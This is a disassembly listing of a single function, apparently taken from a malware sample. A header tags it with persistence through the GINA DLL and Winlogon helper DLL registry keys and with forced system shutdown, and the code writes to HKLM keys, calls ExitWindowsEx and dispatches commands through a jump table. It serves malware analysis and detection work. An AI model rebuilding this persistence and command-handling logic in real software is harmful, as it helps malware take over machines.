Function at 0x418108
Capabilities:
Persist via ginadll registry key
Persist via winlogon helper dll registry key
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x15c
push 0
push 0
dec ecx
jne 0x418110
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4187b9
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x418789
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov dword [ebp - 0x14], eax
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov dword [ebp - 0x18], eax
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov dword [ebp - 0x1c], eax
xor edx, edx
push ebp
push 0x418778
push dword fs:[edx]
mov dword fs:[edx], esp
push dword [0x428b14]
push dword [0x428b10]
push dword [0x428aec]
push dword [0x428ae8]
lea eax, [ebp - 0x18]
mov edx, dword [0x427914]
call fcn.00417128
mov eax, dword [ebp - 0x18]
call fcn.0040ac2c
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0
jle 0x418746
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov ebx, dword [eax]
call dword [ebx + 0x10]
lea edx, [ebp - 0x7b8]
mov ecx, 0x798
mov eax, dword [ebp - 0x18]
call fcn.0040ad60
lea eax, [ebp - 0x7b8]
call fcn.00417ac0
lea eax, [ebp - 0x6b4]
mov edx, 0x427b30
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
je 0x418220
lea eax, [ebp - 0x6b4]
mov edx, 0x4187c8
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
je 0x418220
cmp byte [ebp - 0x6b4], 0
je 0x418220
cmp byte [0x427b30], 0
jne case.0x418267.0
lea eax, [ebp - 0x7b4]
mov edx, 0x4187d4
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
je 0x418252
lea eax, [ebp - 0x7b4]
mov edx, 0x427930
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
jne case.0x418267.0
mov eax, dword [ebp - 0x7b8]
cmp eax, 0x18
ja case.0x418267.0
mov al, byte [eax + 0x41826e]
jmp dword [eax*4 + 0x418287]
mov eax, 0x4187f0
call fcn.0041c984
test al, al
je case.0x418267.0
lea eax, [ebp - 0xabc]
call fcn.0041e864
lea eax, [ebp - 0xabc]
mov edx, 0x418818
call fcn.004042b4
mov eax, dword [ebp - 0xabc]
call fcn.0041c04c
mov byte [0x428a33], 1
push 0
push 0
push 1
mov eax, dword [0x427914]
push eax
push 0x1103
xor ecx, ecx
xor edx, edx
mov eax, 4
call fcn.0041e428
jmp case.0x418267.0
mov ecx, 0x4187f0
mov edx, 0x418834
mov eax, 0x80000002
call fcn.00410e74
mov ecx, 0x41887c
mov edx, 0x418890
mov eax, 0x80000002
call fcn.00410dd8
mov ecx, 0x41887c
mov edx, 0x4188ec
mov eax, 0x80000002
call fcn.00410dd8
mov ecx, 0x418944
mov edx, 0x418958
mov eax, 0x80000002
call fcn.00410dd8
mov eax, 0x4189b4
call fcn.004178d0
test al, al
je case.0x418267.0
push 0
push 2
call sub.user32.dll_ExitWindowsEx
jmp case.0x418267.0
cmp byte [ebp - 0x5b4], 0
je 0x4183ea
lea eax, [ebp - 0xac0]
lea edx, [ebp - 0x5b4]
call fcn.00404250
mov eax, dword [ebp - 0xac0]
call fcn.00410798
cmp eax, dword [0x428a48]
je 0x4183ea
lea eax, [ebp - 0xac4]
lea edx, [ebp - 0x5b4]
call fcn.00404250
mov eax, dword [ebp - 0xac4]
call fcn.00410798
mov ebx, eax
mov dword [0x428a48], ebx
push 0
push 0
push 0
mov eax, dword [0x427914]
push eax
push 0x1118
mov ecx, ebx
xor edx, edx
mov eax, 2
call fcn.0041e428
cmp byte [ebp - 0x4b4], 0
je case.0x418267.0
lea eax, [ebp - 0xac8]
lea edx, [ebp - 0x4b4]
call fcn.00404250
mov eax, dword [ebp - 0xac8]
call fcn.00410798
cmp eax, dword [0x428a4c]
je case.0x418267.0
lea eax, [ebp - 0xacc]
lea edx, [ebp - 0x4b4]
call fcn.00404250
mov eax, dword [ebp - 0xacc]
call fcn.00410798
mov dword [0x428a4c], eax
push 0
push 0
push 0
mov eax, dword [0x427914]
push eax
push 0x111c
lea eax, [ebp - 0xad0]
lea edx, [ebp - 0x4b4]
call fcn.00404250
mov eax, dword [ebp - 0xad0]
call fcn.00410798
mov ecx, eax
xor edx, edx
mov eax, 2
call fcn.0041e428
jmp case.0x418267.0
cmp byte [0x425dc8], 0
je case.0x418267.0
cmp byte [0x425dcc], 0
jne case.0x418267.0
mov byte [0x425dcc], 1
push 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, 0x418098
xor edx, edx
xor eax, eax
call fcn.00403fc8
jmp case.0x418267.0
mov eax, dword [0x428a60]
cmp eax, dword [ebp - 0x34]
je case.0x418267.0
lea eax, [ebp - 8]
call fcn.00417ee0
mov eax, dword [ebp - 0x34]
mov dword [0x428a60], eax
push 0
push 0
push 0
mov edx, dword [0x427914]
push edx
push 0x1130
mov ecx, eax
xor edx, edx
mov eax, 2
call fcn.0041e428
push 0x4189d0
push dword [ebp - 8]
push 0x4189f4
lea eax, [ebp - 0xad4]
mov edx, 3
call fcn.0040436c
mov edx, dword [ebp - 0xad4]
lea eax, [ebp - 0x1c]
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418a04
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418a40
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418a7c
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418ab8
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418af4
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418b30
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418b6c
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418ba4
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418bdc
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418c20
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418c60
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418c9c
call fcn.00417ce8
lea eax, [ebp - 0x1c]
mov edx, 0x418cd8
call fcn.00417ce8
xor ecx, ecx
mov edx, 0x418d14
mov eax, 0x80000002
call fcn.00410f10
mov esi, 0x418d74
lea edi, [ebp - 0xab8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0xad8]
call fcn.00417ff0
mov edx, dword [ebp - 0xad8]
lea eax, [ebp - 0x9b8]
mov ecx, 0xff
call fcn.00404288
lea eax, [ebp - 0x8b8]
mov edx, dword [ebp - 8]
mov ecx, 0xff
call fcn.00404288
lea eax, [ebp - 0xab8]
call fcn.0041685c
jmp case.0x418267.0
cmp byte [0x425dc8], 0
je case.0x418267.0
cmp byte [0x425dd0], 0
jne case.0x418267.0
mov byte [0x425dd0], 1
mov eax, 0x42a62c
lea edx, [ebp - 0x5b4]
call fcn.00404250
xor eax, eax
push ebp
push 0x41869d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xadc]
lea edx, [ebp - 0x4b4]
call fcn.00404250
mov eax, dword [ebp - 0xadc]
call fcn.00407754
mov dword [0x42a630], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4186a7
push 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, 0x4180b4
xor edx, edx
xor eax, eax
call fcn.00403fc8
jmp case.0x418267.0
cmp byte [ebp - 0x5b4], 0
je case.0x418267.0
lea eax, [ebp - 0x5b4]
mov edx, 0x427a30
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
je case.0x418267.0
mov eax, 0x427a30
lea edx, [ebp - 0x5b4]
call fcn.00402c34
push 0
push 0
push 0
mov eax, dword [0x427914]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 0xae0]
mov edx, 0x427a30
call fcn.00404250
mov edx, dword [ebp - 0xae0]
xor ecx, ecx
mov eax, 1
call fcn.0041e428
add dword [ebp - 0x10], 0x798
mov eax, dword [ebp - 0x138]
add dword [ebp - 0x10], eax
sub dword [ebp - 0xc], 0x798
sub dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x4181b1
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x18]
mov ebx, dword [eax]
call dword [ebx + 0x10]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41877f
mov eax, dword [ebp - 0x18]
call fcn.00403574
mov eax, dword [ebp - 0x14]
call fcn.00403574
mov eax, dword [ebp - 0x1c]
call fcn.00403574
ret